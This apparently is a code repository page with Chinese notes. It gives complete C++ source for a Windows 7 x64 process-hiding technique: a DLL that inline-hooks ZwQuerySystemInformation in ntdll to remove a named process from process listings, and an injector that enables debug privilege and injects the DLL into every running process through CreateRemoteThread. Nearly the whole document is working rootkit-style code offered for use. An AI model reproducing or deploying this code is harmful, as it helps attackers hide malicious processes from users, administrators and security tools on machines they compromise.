Win7x64-DLL-Remote-Injection-Hide-Process

Win7 64位下隐藏进程代码

OS System:Win7 64位

IDE:VS2015

注意点:1.64位系统地址范围最高是48位,所以在跳转到自己自定义函数,代码需要进行一下改动,使用call或者retn,而不是jmp。 2.注入64位程序需要生成64位dll和程序,注入32位程序需要生成32位dll和程序。

second_Dll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#include<stdio.h>
#include<Windows.h>
#include<tchar.h>
#include<TlHelp32.h>
#include"second_Dll.h"

#define MYLIBAPI extern "C" __declspec(dllexport)
#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
#define PROCHOOK_MOVCODE 0x48
#define PROCHOOK_64BITADDR 0xB8
#define PROCHOOK_JMPCODE 0xFF
#define PROCHOOK_REGCODE 0xE0

#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};//要隐藏的进程名
#pragma data_seg()

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

#pragma pack(1)
typedef struct _ProcHook
{
BYTE byMovCode = PROCHOOK_MOVCODE;
BYTE byAddrType = PROCHOOK_64BITADDR;
unsigned __int64 ui64Address;
BYTE byJmpCode = PROCHOOK_JMPCODE;
BYTE byRegisterCode = PROCHOOK_REGCODE;
}PROCHOOK, *PPROCHOOK;
#pragma pack()

typedef struct _HookRec
{
unsigned __int64 ui64AddressFunc;
unsigned __int64 ui64AddressShadowFunc;
PROCHOOK phOld;
PROCHOOK phNew;
}HOOKREC, *PHOOKREC;

HOOKREC hkZwQuerySystemInformation;
BYTE g_pOrgBytes[9] = {0,};
PVOID pFarJmp = NULL;

//函数声明
BOOL hook_by_code(LPCSTR , LPCSTR , PROC , PBYTE , LPVOID , PHOOKREC );
BOOL unhook_by_code(LPCSTR , LPCSTR , PBYTE );
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS , PVOID , ULONG , PULONG );


void SetProcName(LPCTSTR szProcName)
{
wcscpy_s(g_szProcName, szProcName);
}



BOOL hook_by_code(LPCSTR szDllName,LPCSTR szFuncName,PROC pFuncNew,PBYTE pOrgBytes,LPVOID pFarJmp, PHOOKREC hkZwQuerySystemInformation)
{
DWORD dwOldProtect;
ULONGLONG dwAddress;
PBYTE pFuncCover,pIndirectJmp;
BYTE pBuf[6]={0xE9,0,};
FARPROC pFuncOrg;

//获取要钩取的原API的地址
pFuncOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName),szFuncName);
pFuncCover = (PBYTE)pFuncOrg+3;
pIndirectJmp = (PBYTE)pFarJmp;

//第一次跳转处已经处于hook状态
if(pFuncCover[0] == 0xE9)
{
return FALSE;
}
//改变首位5字节
//第一次跳转,相对地址的跳转

VirtualProtect((LPVOID)pFuncCover,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);

//保存API地址的前5个字节
memcpy(pOrgBytes,pFuncCover,5);

//覆盖API地址的前5个字节
dwAddress = (ULONGLONG)pIndirectJmp-(ULONGLONG)pFuncCover-5;
memcpy(&pBuf[1],&dwAddress,4);
memcpy(pFuncCover,pBuf,5);

VirtualProtect((LPVOID)pFuncCover,5,dwOldProtect,&dwOldProtect);

//第二次跳转处已经处于hook状态
if(pIndirectJmp[0] == PROCHOOK_MOVCODE)
{
return TRUE;
}
//改变申请的内存处12个字节
//第二次跳转,绝对地址的跳转
hkZwQuerySystemInformation->ui64AddressFunc = (unsigned __int64)pFuncOrg;
hkZwQuerySystemInformation->ui64AddressShadowFunc = (unsigned __int64)pFuncNew;
hkZwQuerySystemInformation->phNew.ui64Address = (unsigned __int64)pFuncNew;
memcpy((void *)pIndirectJmp,(const void *)&hkZwQuerySystemInformation->phNew,sizeof(PROCHOOK));



return TRUE;
}

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
DWORD dwOldProtect;
PBYTE pFuncCover;
FARPROC pFuncOrg;

pFuncOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName),szFuncName);
pFuncCover = (PBYTE)pFuncOrg+3;
//不属于hook状态
if(pFuncCover[0] != 0xE9)
{
return FALSE;
}
//unhook
VirtualProtect((LPVOID)pFuncCover,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
memcpy(pFuncCover,pOrgBytes,5);
VirtualProtect((LPVOID)pFuncCover,5,dwOldProtect,&dwOldProtect);


return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
DWORD dwOldProtect;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
NTSTATUS status;
FARPROC pFunc;
unhook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,g_pOrgBytes);

pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),DEF_ZWQUERYSYSTEMINFORMATION);

status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
if(status != STATUS_SUCCESS)
{
goto __HOOK_AGAIN;
}
//这里是隐藏进程重点,把要隐藏的进程从链表之中删除
if (SystemInformationClass == SystemProcessInformation)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while (TRUE)
{
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))//STR_HIDE_PROCESS_NAME是隐藏进程名,更改即可隐藏其他进程
{
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}

if (pCur->NextEntryOffset == 0)
break;

pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}

__HOOK_AGAIN:
hook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,(PROC)NewZwQuerySystemInformation,g_pOrgBytes,pFarJmp,(PHOOKREC)&hkZwQuerySystemInformation);
return status;
}

BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
GetModuleFileNameA(NULL,szCurProc,MAX_PATH);
p = strrchr(szCurProc,'\\');
if((p != NULL) && !_stricmp(p+1, "DLL_Injection2.exe"))
{
return TRUE;
}
//如果是自身,则不进行hook

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//为第二次跳转申请内存
pFarJmp = VirtualAllocEx(GetCurrentProcess(),NULL,sizeof(PROCHOOK),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
hook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,(PROC)NewZwQuerySystemInformation,g_pOrgBytes,pFarJmp,(PHOOKREC)&hkZwQuerySystemInformation);
OutputDebugString(L"<second_Dll> Injects succssfully!!!");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
VirtualFreeEx(GetCurrentProcess(),pFarJmp,0,MEM_RELEASE);
unhook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,g_pOrgBytes);
break;
}
return TRUE;
}

Dll_Injection.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
#include<Windows.h>
#include<tchar.h>
#include<TlHelp32.h>
#include<string.h>
#include<stdio.h>
#include<strsafe.h>
#include<malloc.h>

#ifdef UNICODE
#define InjectDll InjectDllW
#define EjectDll EjectDllW
#else
#define InjectDll InjectDllA
#define EjectDll EjectDllA
#endif

#define INJECTION_MODE 1
#define EJECTION_MODE 0
typedef void (*PFN_SetProcName)(LPCTSTR szProcName);

BOOL SetPrivilege(LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
wprintf(L"OpenProcessToken Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
wprintf(L"LookupPrivilegeValue Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
tp.PrivilegeCount=1;
tp.Privileges[0].Luid=luid;
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
}
else
{
tp.Privileges[0].Attributes=0;
}
//Enable the privilege开启或关闭权限
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
wprintf(L"AdjustTokenPrivileges Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

BOOL InjectDllW(DWORD dwPID,LPCTSTR szDllPath)
{
HMODULE hMod = NULL;
HANDLE hProcess,hThread;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize=(DWORD)((wcslen(szDllPath)+1) * sizeof(TCHAR));
LPTHREAD_START_ROUTINE pThreadProc;
__try{
if(!(hProcess = OpenProcess((PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE),FALSE,dwPID)))
{
wprintf(L"OpenProcess(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
if(!(pRemoteBuf = VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE)))
{
wprintf(L"VirtualAllocEx(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
if(!(WriteProcessMemory(hProcess,pRemoteBuf,LPCVOID(szDllPath),dwBufSize,NULL)))
{
wprintf(L"WriteProcessMemory(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
if(!(hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL)))
{
wprintf(L"CreateRemoteThread(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
WaitForSingleObject(hThread,INFINITE);
}
__finally{
if(pRemoteBuf != NULL)
{
VirtualFreeEx(hProcess,pRemoteBuf,0,MEM_RELEASE);
}
if(hThread != NULL)
{
CloseHandle(hThread);
}
if(hProcess != NULL)
{
CloseHandle(hProcess);
}
}
return TRUE;
}

BOOL EjectDllW(DWORD dwPID,LPCTSTR szDllPath)
{
BOOL bMore = FALSE,bFound = FALSE;
HANDLE hSnapShot,hProcess,hThread;
LPTHREAD_START_ROUTINE pThreadProc;
MODULEENTRY32 me;
me.dwSize = sizeof(me);
if(INVALID_HANDLE_VALUE ==
(hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwPID)))
{
return FALSE;
}
//获得某一进程的载入模块
bMore = Module32First(hSnapShot,&me);
for( ;bMore;bMore = Module32Next(hSnapShot,&me))
{
if(!_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if(!bFound)
{
CloseHandle(hSnapShot);
return FALSE;
}
if(!(hProcess = OpenProcess((PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE),FALSE,dwPID)))
{
CloseHandle(hSnapShot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"FreeLibrary");
hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,me.modBaseAddr,0,NULL);
WaitForSingleObject(hThread,INFINITE);
if(hThread != NULL)
{
CloseHandle(hThread);
}
if(hProcess != NULL)
{
CloseHandle(hProcess);
}
CloseHandle(hSnapShot);
return TRUE;
}


BOOL WINAPI InjectDllA(DWORD dwProcessId, PCSTR pszLibFile) {

// Allocate a (stack) buffer for the Unicode version of the pathname
SIZE_T cchSize = lstrlenA(pszLibFile) + 1;
PWSTR pszLibFileW = (PWSTR)
_alloca(cchSize * sizeof(wchar_t));

// Convert the ANSI pathname to its Unicode equivalent
StringCchPrintfW(pszLibFileW, cchSize, L"%S", pszLibFile);

// Call the Unicode version of the function to actually do the work.
return(InjectDllW(dwProcessId, pszLibFileW));
}

BOOL WINAPI EjectDllA(DWORD dwProcessId,PCSTR pszLibFile)
{
// Allocate a (stack) buffer for the Unicode version of the pathname
SIZE_T cchSize = lstrlenA(pszLibFile) + 1;
PWSTR pszLibFileW = (PWSTR)
_alloca(cchSize * sizeof(wchar_t));

// Convert the ANSI pathname to its Unicode equivalent
StringCchPrintfW(pszLibFileW, cchSize, L"%S", pszLibFile);

// Call the Unicode version of the function to actually do the work.
return(EjectDllW(dwProcessId, pszLibFileW));
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
HANDLE hSnapShot;
DWORD dwPID;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL,NULL);
if(hSnapShot == NULL)
{
wprintf(L"CreateToolhelp32Snapshot Failed!Code(%d)\n",GetLastError());
return FALSE;
}
Process32First(hSnapShot,&pe);
do
{
// if(pe.th32ProcessID == ((DWORD)5884))#改了就可以单独对某一进程进行注入了
// {
dwPID = pe.th32ProcessID;
if(dwPID < 100)//System Process
continue;
if(nMode == INJECTION_MODE)
{
InjectDll(dwPID,szDllPath);
}
else
{
EjectDll(dwPID,szDllPath);
}
// }
}while(Process32Next(hSnapShot,&pe));
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc,TCHAR *argv[])
{
int nMode = INJECTION_MODE;
HMODULE hLib = NULL;
PFN_SetProcName SetProcName = NULL;
if(argc != 4)
{
wprintf(L"USAGE: %s <-hide|-show> <process name> <dll_path>\n",argv[0]);
return 1;
}

if(!SetPrivilege(SE_DEBUG_NAME,TRUE))
{
return 1;
}
// load library
hLib = LoadLibrary(argv[3]);

// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);
//利用自己写的dll的导出表,虽然后面并没有用到。。。
if(wcscmp(argv[1],L"-hide"))
{
nMode = EJECTION_MODE;
}
if(InjectAllProcess(nMode,argv[3]))
{
wprintf(L"InjectAllProcess Succeed!\n");
return 1;
}

return 0;
}